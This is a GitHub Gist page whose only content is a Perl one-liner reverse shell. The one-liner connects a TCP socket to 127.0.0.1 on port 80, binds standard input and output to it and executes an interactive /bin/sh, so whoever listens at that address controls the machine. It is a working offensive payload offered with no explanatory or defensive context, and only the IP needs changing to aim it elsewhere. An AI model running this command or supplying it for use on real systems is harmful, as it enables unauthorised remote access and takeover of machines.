Skip to content

Instantly share code, notes, and snippets.

@thehackerish
Last active August 30, 2022 10:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save thehackerish/6fda1b0a54e52db1d187df6aec27c7e9 to your computer and use it in GitHub Desktop.
Save thehackerish/6fda1b0a54e52db1d187df6aec27c7e9 to your computer and use it in GitHub Desktop.
perl -e 'use Socket;$i="127.0.0.1";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment